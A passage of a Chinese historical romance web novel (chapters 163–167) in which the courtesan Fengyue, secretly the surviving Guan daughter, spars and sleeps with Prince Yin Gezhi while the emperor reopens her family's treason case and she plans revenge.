看着那两人退出去关上门,殷戈止一把便将她扔床上,黑着脸道:“越来越放肆了。”
在床上一滚,风月穿着男装顶着一脸大胡子扭了个“”形,抛着媚眼道:“听方才的话,您父皇是狗咬吕洞宾,劝也劝不听,如此,不若认了我吧,我保证不会冤枉一个好人,也不会放过一个坏人!”
睨她一眼,殷戈止没理会,拿了帕子在旁边水盆里拧一把,然后坐到床边,将人扯过来,慢慢撕着她脸上的胡须。
躺在人家大腿上,抬头就是殷戈止这张要人命的脸,风月有点受不住,客气地道:“我自己来吧。”
然而,手刚伸去要接他的帕子,殷戈止就翻着白眼轻轻拍开,冷声冷气地道:“不是要当我爹么?我这是孝敬您呢,躺着吧!”
风月:“……”
虽然这人的小白眼翻得风生水起的,表情也挺生动,四周的气息也挺温和,可是,她很明显地能感觉到——殷大魔王在伤心。
真真切切的伤心啊,从他的眼睛里流淌出来,无声无息地蔓延在整个房间。
风月都有点不忍心了,感觉自己脸上的胡子被扯干净了,便坐起来看着他道:“其实您与魏文帝当真很不一样,他不是个好皇帝,但您尚能明辨是非。”
苦笑一声,殷戈止垂了眼,长长的睫毛在下眼睑上投下一片阴影,微微打着颤。
“我没事,你不用安慰我。”
越是情绪不外露的人,其实伤心起来就越难受吧?风月唏嘘,看着他抿起的嘴角,忍不住伸手过去,轻轻往上抬了抬。
阖着的眼睛半睁开,殷戈止有些意外地看着她。
“我一向不
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会安慰人,我受伤了,也没什么人安慰我,因为哪怕摔断手,我都不会哭。”咧了咧嘴,风月道:“后来我才发现这种习惯不好,忍着做什么呢?想哭就大声哭,有烦恼就给最亲近的人说,这样自己才最好受。不然一个人在角落里同情自己,那也太惨了。”
缓慢地眨了眨眼睛,殷戈止微微颔首:“有道理。”
然后便伸手,将她整个人死死抱住,往床上一倒。
啥?风月傻眼了,等反应过来的时候,这厮的手都伸到了自己的衣襟里。
“喂?!”哭笑不得地抓着他,风月咬牙:“我让你想哭就哭,不要压抑情绪,你这是在做什么?”
“不压抑自己的情绪。”抬脸看着她,殷戈止微微勾唇,用鼻尖轻轻蹭了蹭她的鼻尖,接着就侧头压住身下人的唇,辗转间沙哑着声音道:“压抑太久了,对身体不好。”
果然什么伤心啊难过啊都是骗人的!风月怒道:“不嫌脏啦?不是说妓子低贱吗!”
身上的人低笑,轻轻摩挲着她的侧脸,略带歉意地道:“是我错了。”
微微一僵,风月眼神古怪地看着他。
道歉了?认错了?殷戈止?她是不是做梦没睡醒?这种高高在上不可一世的人,竟然也会用这种语气说话?
温热的呼吸凑在她耳畔,殷戈止的语气倏地由歉意变成了调戏:“可你落尘为妓,做的还不是我一个人的生意?”
“……”
耳根一阵酥麻,传遍了全身,风月羞愤之下,拳打脚踢,直接将他掀下了床!
“那我嫌你脏!”她怒道:“你睡地上!”
说罢,扯了被子就蒙了头。
衣衫不整的殷戈止坐在地上,看着床上那裹成一团还冒着怒气的东西,心情总算是好了点。
他被人嫌弃了诶!不过他惹了那么多的人生起,还是风月气起来最好看,小脸蛋红红的,鼻梁尖尖挺挺,眉毛倒竖,当真是活泼可爱。
只是……已经是夏末秋初的天气了,现在去冲凉水,会不会感染风寒?
精于算计的殷大魔王,就坐在地上认真地思考起这个问题来。
第二日,使臣进宫了。
风月起床就看见安世冲他们在门口同殷戈止拜别,本以为至少要晚上才回来,谁知道下午的时候,罗昊便带着宫里的消息过来,眉飞色舞地道:“少主,有热闹看啦!咱们陛下主动提出联合吴国抗宋,被吴国使臣婉拒啦!”
啥?风月吓得连忙看向殷戈止。
殷戈止气定神闲地喝着茶,淡然地道:“魏文帝不是吃亏的主儿,主动提出来,条件肯定很苛刻,吴国使臣不同意也是情理之中。”
不过,就算他放宽了条件,吴国使臣一时半会儿,也是不会点头的,只要魏文帝没做该做的事情,那他想要的利益,一定不会到手。
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第164章 有恃无恐
魏文帝开始是不信这邪的,可一路与吴国使臣团交流下来,他发现,对方当真是一点情面也不讲,不管是塞钱财还是送美人,都丝毫不能打动那两位年轻人。众所周知,谈事情么,在规矩之下,多多少少都是有些松动的,魏文帝也想争取更好的条件,而不是单纯地给吴国当个打手。
然而,三日的唇枪舌战下来,他穷途末路,无计可施。
“从未见过如此油盐不进的使臣啊!”殷沉玦有些气愤地道:“他们到底想要什么?”
石鸿唯脸色也不太好看:“借魏国之兵,让吴国出一半的粮草,这本是可以商量的事情,吴国今年丰收,存粮本就不少。”
“老臣以为,吴国是霸道惯了,没将咱们放在眼里,不想出粮草,又想借咱们的力。”旁边的言官道:“与其任人宰割,还不如另寻别路……”
“你说得简单!”魏文帝沉怒,一拍桌子便道:“哪有那么多路给你选!你们这些文臣,动不动就是说些便宜话,只有武将才知道战场上压根是不讲道理的,你怎么算计都没用,打不过就得认怂!”
这话吼得怒意十足,与其说是吼言官的,不如说是吼给他自己听的。
能怎么办呢?他的确是不想让殷沉璧如意,可家国存亡面前,皇室的面子也没那么重要了。
面前的人统统跪了下去,魏文帝跌坐回龙椅之中,长出一口气,咳嗽了两声:“罢了。”
“石丞相,廷尉一职找人来顶了,把当年关家的案子,给朕翻过来查!”
石鸿唯大惊,一脸不解地跪问:“陛下?”
“父皇?”殷沉玦也皱眉:“这案子您不是说……”
“查!”魏文帝怒喝:“朕让你们查你们就查!哪有那么多话,朕的话不管用了是不是!”
“不是……可……”殷沉玦很为难,谁都知道当年这案子是怎么回事,上下默认定的案,这个“上”现在却自己要翻案,那下头的人该怎么查,罪名推去哪儿?
“混账!”气得直咳嗽,魏文帝心虚地转着眼珠子,嘴里的话却是凌厉至极:“朕给你们半个月的时间,半个月要是查不出来,那你们头上的帽子,都给朕摘了!”
“陛下息怒。”石鸿唯跪了下去:“此案牵连甚广,半个月恐怕……”
“起驾!”压根不想跟他们多啰嗦,魏文帝扶着大太监的手,一挥袖子便离开了御书房。
太子等人愕然地看着,好半晌才有人问了一句:“石丞相,您看陛下这是什么意思?”
石鸿唯轻笑:“能是什么意思?就是没必要认真查,给个交代就行了的意思。”
“关家人都没了,给谁交代?”殷沉玦很是纳闷。
“谁一直想翻案,就是给谁的交代。”眼神暗了暗,石鸿唯拂了拂袖子,一派襦臣气质:“咱们的大皇子,哪怕没了皇子的身份,也是厉害得很那!”
想起殷沉璧,殷沉玦打了个寒战,有点怂地道:“那这事,就劳烦丞相多费心了。”
“臣遵旨。”朝太子一颔首,石鸿唯眼里神色莫测,一踏出宫门,就找了暗卫来,嘀嘀咕咕一阵,将人派了出去。
鉴于殷戈止说宫里不久就会有关于关家一案的消息来,风月就跟他一起住在了驿站。
殷戈止心情一直很好,也不知道为什么,每天都和颜悦色地问她:“想吃什么吗?我去做。”
风月拼命摇头:“多谢您,奴家还想多活几天。”
然后就是下午,两人一般是在院子里看两个徒弟练功的,风月看得津津有味,偶尔一个侧头,却看见旁边某个为人师表的人没盯自己徒弟,反而盯着她看。
脸莫名有点红,风月柳眉倒竖:“您看什么呢?”
“我是在想。”殷戈止面无表情地道:“以前怎么没发现,你长得这般动人。”
风月:“……”
安世冲听得一剑刺穿了徐怀祖的袍子,徐怀祖的反应更可怕——那死不离身的长恨刀,掉地上了,“哐当”一声响,惊得风月连忙看过去。
“哈哈。”干笑两声,徐怀祖捡起刀抱在怀里,看了看她又看了看自家师父,终于是笑不出来了,低头想想,举起刀就朝殷戈止砍了过去:
“何方妖孽在我师父身上放肆!”
殷戈止挑眉,潇洒地侧身躲开,两指一夹就捏住了他的刀身。轻轻一弹,颇有灵性的刀发出愉悦的嗡鸣声。
“你是翅膀硬了,连师父也敢挤兑了?”眼角微微一扫,殷戈止抬脚就将徐怀祖踹回庭院里去,捏了长恨刀放在身后:“想要刀,自己来抢。”
一听这话徐怀祖就傻眼了:“我自己抢?”
“对。”殷戈止面无表情地道:“抢不回去,那就不给你了。”
说罢,衣摆一扫,仙气儿飘飘地进了屋子里去。
安世冲愕然地看着,然后蹲下来拍了拍地上那人的肩膀:“你最近是不是又哪儿得罪师父了?”
“没有哇!”徐怀祖要哭了,委屈巴巴地一扭头,朝着风月就喊:“师爷爷,救命啊!我的刀!”
风月提着裙子就跑!这种师徒冲突关她啥事啊?她很忙的!想要刀自己去抢啊,虽然十个徐怀祖也不一定能抢过一个殷戈止,但人总是要有梦想的!
“师爷爷——”凄厉的惨叫响彻整个驿站。
接下来,风月就觉得自己像是被恶鬼缠身了,打开门,徐怀祖就跪在外头眼泪汪汪地道:“师爷爷,刀……”
“呯”地一声关上门,风月扭头就去爬窗户,奈何窗户一打开,徐怀祖倒挂在外头,嘤嘤嘤地道:“那是我的命啊!”
再度关上窗户,风月蹲在地上,开始考虑挖地道出去的可能性。
“风月姑娘。”门外响起了安世冲的声音。
对于徐怀祖这种混小子,她觉得应付不了,可安世冲这种翩翩公子还是可以讲道理的!风月想了想,便上去开了门。
安世冲有礼地朝她拱手,而后道:“师父手里的东西,只要他不愿意给,谁都抢不了。怀祖没有刀吃不下睡不着的,还请风月姑娘帮个忙。”
眨眨眼,风月道:“真的不是我不帮,你们
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这么好的功夫都抢不来的东西,我有什么办法?”
摇摇头,安世冲道:“您是师父的心上人,想拿一件东西,自然用不着武功。”
心……啥玩意儿?咽了口唾沫,风月撇嘴:“你哪儿知道我是他心上人的?”
“姑娘何必嘴硬?您自己不也知道么?”安世冲摇头,眼神深深地道:“若姑娘不知师父情意,怎么敢在他面前诸多放肆?被人放在心上的人,才会有恃无恐。”
是个人有眼睛都该看出来了,师父对风月姑娘虽然也是一张**脸吧,但眼神实在温和缱绻,任凭她胡说胡闹,从没有动怒的征兆,拿凳子砸他他都反而会笑,这不是放在心上了,那是放在哪儿了?而风月姑娘,少了之前的一幅笑盈盈的假面,倒是有了些真性情,未将师父放在眼里,也不再像从前那样畏惧他,可不就是得知他不会拿自己如何、舍不得对自己如何,所以有恃无恐么?
虽然他还未娶亲,可这些事,倒也能看得明白。
风月沉默了,挠着脸颊,眼珠子四处乱晃,看起来有点犹豫,还有点羞恼。
“只要姑娘肯答应帮忙,那世冲也必定回报姑娘一个忙,上刀山下火海,在所不辞。”安世冲认真地道。
人家诚意都摆在这里了,风月也不是扭捏的人,一拍手就应道:“行,不就是把刀么,我准备准备,想个法子绊住殷戈止,你们去偷!”
“多谢姑娘!”安世冲微微一笑。
倒挂在外头的徐怀祖听见了,一蹿就蹿到了安世冲背上:“还是世冲兄靠谱啊!师爷爷都不听我说话的!”
“那是因为你说的都是废话。”白他一眼,安世冲道:“还有你这称呼,当真还没明白哪儿得罪师父了不成?”
一拍嘴,徐怀祖恍然大悟,立马甜甜地喊了一声:“师娘!”
刚刚还笑着看这俩活宝的风月瞬间黑了脸,一脚将他们踹出去,狠狠关上了门!
徐怀祖愕然,委屈地扭头看着安世冲:“又哪儿错了呀?”
抹了把脸,安世冲不打算跟这种傻子说话了,径直去自家师父附近埋伏。
殷戈止正在屋子里喝茶。
“公子。”娇声软语在外头响起,带着点媚意的尾音轻轻发颤:“奴家刚做了点心,公子要尝尝么?”
微微挑眉,殷戈止道:“进来。”
门扇被推开,一袭红裙卷进来,裙摆随步伐泛起波浪,腰肢款摆,再往上,纤纤玉手托着一碟儿一看就是外头买回来的绿豆糕,一张妩媚的脸没了大胡子,笑得活色生香。
一口茶呛在喉咙里,殷戈止咳嗽了两声,微微皱眉:“你这是做什么?”
风月很想保持微笑的,甚至已经计划好了要怎么转移这人的注意力。
但是走进来一看这坐着的人的背后,手里的绿豆糕就忍不住“啪”地一声摔在了桌上,怒喝:“喝茶你背个刀做什么!”
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第165章 如此下场
寒铁所铸的长恨刀,被这人拿布条随意一裹,背在了身后。
殷戈止抬眼,很是正经地道:“江湖侠客,刀剑素来不离身。”
“我呸!”风月咬牙:“江湖侠客跟您有什么关系,好端端的喝个茶,您能轻松点吗!”
“不能。”眼波流转,殷戈止睨着她道:“我怕有人会打这刀的主意。”
风月:“……”
心虚得火气顿消,她抹了把脸,在他旁边坐下,将刚刚震落出盘子的绿豆糕都捡回去放好,然后端到他面前笑道:“怎么会呢,这儿除了徐怀祖,谁还会打刀的主意?”
深深地看她一眼,殷戈止点了点头:“也对。”
然后就捏了块儿干净的绿豆糕优雅地吃起来,完全没有要将刀解下来的意思。
风月磨牙,一边盯着他的动作一边想,有什么办法能将这玩意儿从他背上弄下来呢?
脱他衣裳!
可是,她的牺牲是不是也太大了点?虽然她不在意这些,但现在这局势,跟殷戈止亲近多让她别扭啊!不行,心里有阴影!
扭头就想打退堂鼓,结果这头扭过来,正好对上窗户外头两张期盼的脸。
安世冲朝她轻轻作揖,目光真诚。徐怀祖无声地作“痛哭流涕”状,还拿口水往自己眼睑下头沾!一副她不帮忙他都不活了的样子!
冤孽啊,本来就是这厮自己闯的祸,结果为什么报应到她头上?一张美人脸很是扭曲,风月眯眼,恶狠狠地朝徐怀祖比了个抹脖子的动作!
殷戈止觉得奇怪,顺着她的目光看过去,却见窗户外头风吹树动,秋初的落叶纷纷扬扬的,别的什么也没有。
再回头,面前的小美人也已经恢复了巧笑倩兮的模样,手托着下巴,眨巴着眼看着他。
微微挑眉,殷戈止问:“你为什么换女装了?不是出门在外,小心为上么?”
“哎呀,妆浓成这样,谁认得出来啊?”嗔怪地用食指点了点他的心口,风月妩媚地道:“奴家是突然有点怀念这身衣裳,所以让人送来穿穿。”
说着,手腕一扬,那红色的绸缎飞出来,落在他的肩上,顺溜地滑到他怀里,很是暧昧地停在某个地方。
身子一僵,殷戈止抬头看了她一眼:“想做什么?”
“瞧公子这话说得,奴家还能吃了公子不成?”笑盈盈地起身,风月往他怀里一坐,伸手在他胸口画圈圈:“就是突然很想看公子穿那套白色的衣裳,奴家亲手缝的那套。”
低头看了看自己身上的衣裳,再看看怀里这人,殷戈止眼神古怪:“你瞎了?这就是你缝的那套。”
风月:“……”
尴尬地咳嗽两声,她跺脚:“哎呀,我就说么您总是穿着不肯脱,原来是喜欢奴家做的衣裳?那早说啊,奴家带了尺子,您脱了外裳,奴家给你量量,回去再做一套送您!”
这可真是下了血本了!天知道做衣裳多费劲啊,虽然她有学过女工,但真的不太精通……
殷戈止沉默了片刻,像是在考虑划不划算,眼睛往窗台那边瞟了瞟,然后才点头:“好吧。”
眼眸一亮,风月立马伸出爪子去扒人家衣裳!十指动作飞快,殷戈止只觉得背后一轻,不悔刀就掉了下去。
“公子。”风月仰脸,笑眯眯地道:“这个奴家替您放着吧?”
殷戈止盯着她,摇头:“太重了,我自己来。”
“奴家拿得动的。”
“我也拿得动。”
两个人脸上的表情都算正常,光看脸,一定觉得气氛融洽,郎情妾意。
然而,往下头一看,不悔刀上有四只爪子死死掐着,纤纤玉手想往自个儿这边扯,那钢铁般的手掌就是寸步不让!看得窗外的两个脑袋上冷汗直流。
加油啊!风月姑娘!
要比力气风月是比不过的,那就只能拼演技了!
嘴唇一咬,眼里的泪水瞬间涌上来,她委屈地抬头,看着面前的人问:“您就这般信不过奴家吗?奴家是会贪图这把刀的人吗?”
眼神微微一顿,殷戈止有些失神,竟然松了手。
就趁这个时候!风月嘤嘤嘤地哭着,手上却一使劲儿,直接将刀抢过来,往窗户的方向一扔!
“呯!”徐怀祖被砸了个头昏眼花,眼冒金星地抱着刀,被安世冲迅速地拖离了案发现场。
风月反手就抱住殷戈止的腰,以阻止他追上去,余光看着那两人翻墙走了,才松了口气。
大功告成!
冰冷的气息开始漫溢,正在高兴的某个不怕死的人背脊一凉,立马想收回手。
然而,来不及了。
殷戈止看起来很生气,当真是气极了,一把捏住她的手将她压在床上,半阖着眼目光清冷地问:“骗我?”
心虚地咽了口唾沫,风月摇头:“实在是逼不得已啊公子!”
“我这般信任你,你却骗我。”眼里流露出浓浓的失望和受伤,殷戈止声音都沙哑了:“我以为即便你我为敌,你也不会舍得利用我。”
哪儿能不舍得啊?能利用肯定把他利用个底儿掉都不带犹豫的!
心里这么想,可一看人家这么伤心,风月也实在觉得愧疚:“抱歉啊,下次不这样做了。”
殷戈止抿唇,怒意和气愤翻涌之下,直接低头吻住了她!
风月反手就要推,身上这人却像是住在她脑子里似的,低声道:“你就这么讨厌我?”
好吧,刚利用完人家就要把人家推开,也的确有点过分了。风月心一横,眼睛一闭,随他亲吧!
可是,这亲着亲着的,倒是莫名浑身发烫,身子也下意识地弓起来,想贴近他一点。
风月觉得很羞耻,身上这是个畜生啊,是敌人的儿子!她怎么能想这种事儿呢!
然而,得她这一点反应,殷戈止竟然主动了起来,完全不像以前那般等着她伺候,反而是像地狱里来的魔鬼,拉扯着她一点点往下掉。
“不……”
“别出声。”清冷的声音染了点动情的味道,像能蛊惑人心似的,慢慢地就夺去了人的理智。
完全失去理智之前,风月成功地说服了自己,她想:就当是进了一次倌馆吧!
抱着刀狂喜的徐怀祖压根不知道
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自己促成了什么好事,只认认真真地练起秘籍来,生怕下回师父再抢刀。
然而,他想多了,第二天的师父态度十分慈祥,看着他就像看着了亲生儿子一样,目光里透着浓浓的父爱。
颤颤巍巍地抱紧了自己的刀,徐怀祖躲在安世冲背后小声问:“师父这是怎么了?”
刚刚从外头拿了消息回来的安世冲一本正经地道:“魏文帝已经下旨要重审关将军一家通敌叛国之案,师父大概是觉得能弥补过错,所以开心吧?”
“你说什么?”殷戈止背后跳出个风月姑娘,瞪着他问:“重审关家之案?!”
“是啊。”被她这激烈的反应吓了一跳,安世冲抿唇:“街上正热闹呢,都在说这件事。”
刚刚在儿女情长上头纠结的心,瞬间就沉了下去。风月侧头看了殷戈止一眼,问:“殿下是不是觉得,只要关家翻案,我就不会记恨了?”
殷戈止垂眸:“我没有那么想。”
但至少,可以赎一点罪。总不能让关家一辈子顶着这罪名,碑都不能立。
“嗯,那多谢殿下了。”点点头,风月整理好衣裳,跨出门槛道:“既然关于关家的消息已经等到,那奴家也就先告辞了。”
“风月。”殷戈止微微皱眉:“你生气?”
“我没生气。”步子没停,风月边走边潇洒地挥手:“只是这几天脑子不太好使,忘记了自己该做什么,光顾着看你们的热闹了。现在时候差不多,也该回去做点别的事情。”
迈开步子跟上去,殷戈止沉声道:“你想做的事情,需要深思熟虑,不可玉石俱焚。”
“您一直拉扯着奴家,不也就是怕奴家玉石俱焚伤着您父皇么?”小声说了一句,风月眼角眉梢都是笑意,妩媚地推了推他的肩膀,指了指后头道:“您的二位徒弟还不知道发生了什么事呢,奴家走,您可得留下来圆谎。”
“关清越!”殷戈止伸手抓住她,眼里难得地露出了焦急:“你就不能再等等吗?现在急着杀了他,对关家有什么好处?案子还没翻,你碑都刻不了!”
“我不急,但也不能再被您拖在这儿浪费时间。”
浪费时间?殷戈止沉了脸,咬牙问:“与我在一起,是浪费时间?”
昨晚刚刚才温暖过的人,一早起来,怎么就又变得拒人千里了?不是说女人身体归谁,心便归谁么?这个关清越,为什么完全不吃这一套?!
回头抛了个媚眼给他,风月笑盈盈地道:“殿下何必如此纠缠?不像您那高高在上的神仙模样,倒像是急躁冲动的年轻小子了。”
说罢,抽回自己被他捏住的手腕,红衣飘飘,像蝴蝶一样飘出驿站大门,融进了来往的人潮中。
呆呆地在门口站了好一会儿,殷戈止垂眸,掐指算了算。
拖了这三天,已经算他了不起了。她无心,饶是他再怎么费尽心思,也只能算他无耻纠缠。
堂堂殷大皇子,竟也会落得如此下场啊……
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第166章 关家的死囚
风月一脸平静地回了大杂院,镇定地关上了门。
然后抱着灵殊就是一阵嚎:“啊啊啊——死局啊!!”
受惊的灵殊瞪着无辜的眼睛,伸出小手拍了拍她的背:“这样能活吗?”
“不能!”苦着一张脸,风月松开她,抱着旁边的柱子就撞!撞得柱子“咚咚”作响,房梁上的灰都落下来,洒了灵殊一脸。
灵殊吓着了,连忙提着裙子往外跑,一边跑一边喊:“秋夫人,快去看看啊!房子要倒了!”
秋夫人正琢磨着少主怎么这个时候回来了,冷不防听得这么一句话,当即就冲去了风月的房间看。
结果就见自家少主一脸麻木地撞着柱子,眼神阴森恐怖,看起来怨念极深。
“怎么了这是?”连忙上去把人拉住,秋夫人很是莫名其妙:“您做什么呢?”
扭头看着这一向跟长辈一样疼爱自己的人,风月扁扁嘴,很是委屈地道:“我想我老爹了。”
这话说得带了哽咽之声,听得秋夫人很是心疼,连忙把人抱怀里轻轻拍着背:“怎么了呀好端端的?”
“太多事儿了。”风月咬牙:“我知道报仇很难,知道要筹谋很久,准备很久,我可以等,但是这样等着,也太折磨人了……”
连等都不让她安生地等,噩梦一般的殷戈止一直在她周围,总是将她困在他的局里,逼得她不得不面对与他之间的巨大鸿沟。
她本是不打算理会这个鸿沟的,反正最后两个人也不会走到一起去,所以觉得现在跟他一起谋事也没什么大不了,能利用就利用,不能利用就撤退呗。
可是这个人,非要企图跨过这鸿沟,替她家翻案,给她恩惠,还是这种压根没法拒绝的恩惠!
人都是他父皇杀的啊!现在他算计自己的父皇,给关家翻案了又如何?关家人能一个个活过来,生龙活虎地继续行走在人间吗?关家满门凉了快四年的热血,能重新回暖吗?已经被磨灭至尽的赤胆忠心,还能重燃忠君之火吗?
都不能了。
可她能拦着他,让他别去翻案吗?
更不能,她不愿关苍海**连碑文都没有,她也想堂堂正正地去祭拜一次,让后来人知道那儿埋着的是个英雄,坟墓不可以随意践踏。她不刻意求清白,可送上门来的清白都不要,她又不傻!
说来可笑,人家杀了她全家,人家的儿子又来施恩,她不能接受,也没办法拒绝,整个人被吊在半空,像只可怜的被风卷起的鸟,上下不得、哭笑不得,爱不得、恨不得!
她上辈子大概是欠了殷戈止很多钱吧,不然也不能这么对她啊!
“少主。”轻轻拍着她,秋夫人的声音很温柔:“您是个惯常喜欢直来直往的人,这么多年,已经是受尽委屈了。眼瞧着大仇有报的希望,又何苦再这般为难自己?”
“我不想为难自己。”鼻子酸得厉害,风月咬牙道:“是他非来为难我!”
惦记她做什么?引诱她做什么?打感情牌做什么?就算她没出息,曾经喜欢他,那又怎么了?那也得报仇啊!一旦报仇,两个人之间就是死路,就是没有未来的。既然都知道了结局,他做什么非得纠缠?当她不是人吗?不会难过的吗!
气得狠狠擤了把鼻涕,风月哑着嗓子道:“不管了,秋夫人,让言清继续安排吧,时机妥当,准备充分,咱们就动手!”
微微一愣,秋夫人皱眉看了她半晌,确定她不是一时冲动,才缓缓点了头道:“好。”
接下来的时间,风月就忙碌了起来,时不时就跟着言清去宫门附近晃荡,又同些与言清交情好的大人一起喝茶混脸熟。
“说起最近京中大事,那都是与大皇子有关系的。”茶桌上的陈卫尉感叹道:“这关家的案子,说翻就翻了,石丞相查得是热火朝天,只五天就将结果送去了御书房。结果你们猜,发生什么事了?”
言清看了风月一眼,见她神色如常,脸上胡子都一根没动,便问了一句:“什么事?”
“堂堂皇帝陛下,竟然召回了自贬为民的殷大皇子,把折子给他看了,让他回去。”陈卫尉哈哈大笑:“你是不知道当初朝上皇帝骂大皇子是怎么骂的,那叫一个不留情面,大家都觉得大皇子是再也回不来了!结果这才多久啊?皇帝亲自下旨,赐他金印!好家伙,太子的印鉴都是玉印啊,给个亲王金印是什么意思?”
言清捻着胡须就笑:“是怕他不回去吧。”
“大皇子的脾气,你我都清楚啊。”陈卫尉感叹道:“他可不是在意这些东西的人。”
“不过,他竟然当真回来了,就一个条件——关家的案子,让他主审。”
“哦?”言清挑眉,又看了闷不做声的风月一眼,然后笑道:“这可不是打了石丞相的脸么?人家查出来的东西,他不认。”
“可不,当堂石丞相就变了脸色,只是他颇有风度,向来不在朝野上发怒,这才没起什么冲突。”陈卫尉感叹:“大皇子殿下去一趟吴国回来,似乎变了些。不过更好,以前没个人味儿的,现在总算是有情绪了。这样的人,若为君主……”
“陈大人!”微微压了压他的手,言清摇头:“慎言,祸从口出。”
慌忙掩了嘴,陈卫尉看了旁边的风月一眼:“这是你的人,没问题吧?”
“是没问题。”言清颔首,顺带介绍了一下风月:“这是我大侄子,想在宫里谋个差事。大人掌管宫门警卫,可有合适的位置,给他安排一下?”
说起这个,陈卫尉有点为难:“多年的老朋友了,能帮我自然会帮,可最近澧都出了不少乱子,宫里也跟着**,不招新兵。这样吧,你让你这侄子先去护城军混个名额,他们那边最近缺人。等宫中抽调禁卫的时候,我再将他调过来。”
“如此,就多谢了!”言清笑着拱手。
风月跟着行礼,乖乖巧巧的,一句话也没多说。
等茶喝完了,两人在茶楼下头目送陈卫尉离开的时候,风月才问:“石鸿唯查出来的结果是什么?”
“石有信下落不明已经很久了,罪名自然都是往他头上堆。”言清低
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声道:“陷害忠良,以权谋私,石鸿唯可真是半点不念家族情分,罪名没少扣。”
冷笑一声,风月道:“石有信已经**,他们真要将罪名扣在他身上翻案,我倒是不介意。”
反正仇她自己报,就是要个清白之名,随便怎么来都好,她不在乎。
但显然,殷戈止不打算善罢甘休。
“你还想查谁?”魏文帝脸色苍白地靠在床边,喘着气问他。
殷戈止穿着一身白衣,捏着石鸿唯写的折子,目光平静地看着他,没吭声。
被他这眼神盯得恼了,皇帝拍着床压低声音道:“你放肆,难不成连你父皇也想查吗?啊!”
“关苍海是忠勇大将军。”床边的人终于开口了,声音清冷地道:“一人之下,万人之上,石鸿唯都不曾敢轻易得罪,区区廷尉,若无人背后授意,怎敢如此胆大包天?关苍海在朝中颇受老臣拥戴,有话要辩,也不可能传不到您的耳朵里!可为什么,他还是**呢?”
眼神飘忽地看向别处,魏文帝咬牙:“你想怎么着?”
“主上不明,臣下不清。主上错而不改,臣下风气不正。”深深地看他一眼,殷戈止道:“您心里早该知道自己错了,那认错又何难?开朝太祖也曾犯错,发‘罪己状’自省,引万民赞颂。您自称一代明君,难道就不能效仿太祖?”
“混账!”魏文帝怒道:“朕没错,朕做错什么了?人是他们弄死的,罪名也是他们逼着朕定下的,朕何辜!”
这跟太祖的情况可不一样啊,太祖犯的是小错,他犯的这错,却是压根弥补不了的,当真认了,怕是会引起民愤,掀翻他的皇权!
不能认,不能认!
看着自家父皇这态度,殷戈止觉得头疼,闭了闭眼,转头道:“那儿臣就先查吧,查到哪里算哪里。”
魏文帝皱眉:“不要胡来!”
“儿臣行事,向来遵循礼法。”头也不回,殷戈止道:“可父皇要是都不遵,那儿臣也没有遵守的必要了。”
说罢,雪白的袍子在门槛上扫过,人消失得无影无踪。
魏文帝恼怒,盯着他的背影,又是好一阵咳嗽。等在外头的皇后进来,慌忙心疼地给喂药,一边喂一边劝他保重龙体。
殷戈止踏出龙涎宫,还没两步,就看见了面前站着的石鸿唯。
“王爷,借一步说话。”
微微眯眼,殷戈止随他过去站着,眼神冷漠:“丞相有何赐教?”
“赐教不敢当。”拱着手,石鸿唯道:“只是有一事要禀告——这次查案,微臣不仅查到石有信贪赃枉法、陷害忠良,还查到一件事。”
“什么?”
笑了笑,石鸿唯抬眼看他:“了不得的事情呢,天牢里头的人很好收买,毫无风骨可言,不仅有人陷害忠良,还有人收了银子,放走了关家的死囚呢!”
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第167章 我是真的很喜欢你
暗卫将这件事禀告回来的时候,石鸿唯是很震惊的,饶是冷静了这么多天,准备用来诈殷戈止,他也说得手微微发抖。
关家还有人活着,且不是别人,正好就是关苍海的嫡女、关家唯一的女将军关清越!
在这关家要翻案的节骨眼上爆出这件事,无疑会使朝中多人震惊难安,甚至连龙位上的陛下,恐怕都会睡不着觉。殷戈止要翻案一点也不可怕,毕竟他只是正义感作祟,太过正直。可关清越要是还活着,那还得了?关家满门的血债,她岂会善罢甘休!
如果,如果关清越与殷戈止有什么勾结……
“堂堂天牢,也能让死囚犯跑了?”脸上一点震惊或者惊慌的神色都没有,殷戈止嗤笑:“怎么放跑的?放跑的是谁?又是谁在背后收买人啊?”
疑惑地看了看他这像是不知情的脸色,石鸿唯沉默片刻,道:“具体过程,微臣还在详查,不过放出来的人是关家嫡女关清越,应当继续追捕,送回天牢,等翻案之后,再行定罪。”
“大人这些话,同本王说是什么意思?”轻笑一声,殷戈止满不在意地挥手:“去同陛下说更好。”
“这……”看他要走,石鸿唯追了上去,盯着他道:“王爷如今是此案主审,与此案有关的事情,自然该王爷定夺。”
“当真要由我定夺?”殷戈止抬了抬下巴:“那本王觉得关家无罪,关清越无罪,没有抓捕的必要。”
“这怎么能行!”石鸿唯皱眉:“**即是大罪!”
“那令关家蒙冤,是什么罪,该谁来弥补?”停下步子,殷戈止睨着他道:“丞相大人来吗?”
微微皱眉,石鸿唯语塞,僵硬片刻退到了一边,低着头看着那白袍子潇洒地离开,心里颇为恼怒。
他行事一向谨慎,关家当年高高在上,一夕之间倒台,众人都忙着落井下石,只他不参合其中。现在这风口浪尖的,他也应该再回避才是。
然而,殷戈止又回到了王爷的位置上,不仅如此,还多了一枚金印。皇帝这行为,狠狠地打着**的脸,他再坐视不管,真让殷戈止上位,那石氏一族才是真的要没落了!
深吸一口气,石鸿唯拂了拂衣袖,大步往龙涎宫走去。
殷戈止一出宫就让观止去了镇国侯府,自己转身前往大杂院,逮着风月就问:“当初你出大牢,是谁来接的?”
被这问题问得愣了神,风月想了想,道:“尹将军接的。”
旁边坐着的尹衍忠颔首:“是我带人将少主从天牢里接出来的。”
“具体过程呢?跟哪些人接触过?”
这问题问得奇怪,风月撇嘴道:“都过去这么多年了,现在问这个做什么?”
看了看殷戈止凝重的神色,尹衍忠犹豫着问:“出什么事了吗?”
“我现在要知道你们是不是安全的。”捏着袖口在旁边坐下,殷戈止道:“今日石鸿唯说,查到当年天牢里有人**放了关清越。”
众人都是一惊,纷纷倒吸一口凉气。风月眨眨眼,问:“我要成通缉犯了?”
“有我在,不会。”殷戈止平静地道:“但当年**和放走你的人肯定会被石鸿唯拖下水,消息不久就会传出来了。”
秋夫人脸色有点难看,众人都齐刷刷地看向风月,眼神古怪。
“怎么了?”莫名其妙地看着他们,风月问:“我脸上有饭粒啊?”
“少主,有一件事,一直没跟您说。”秋夫人语气沉重地道:“当年背地里买通狱卒救您出来的,其实……是封明,封将军。”
啥?风月震惊,倒吸一口凉气看着四周,结果发现惊讶的只有她一个人。包括殷戈止在内,其余所有人都是一副早就知道的模样!
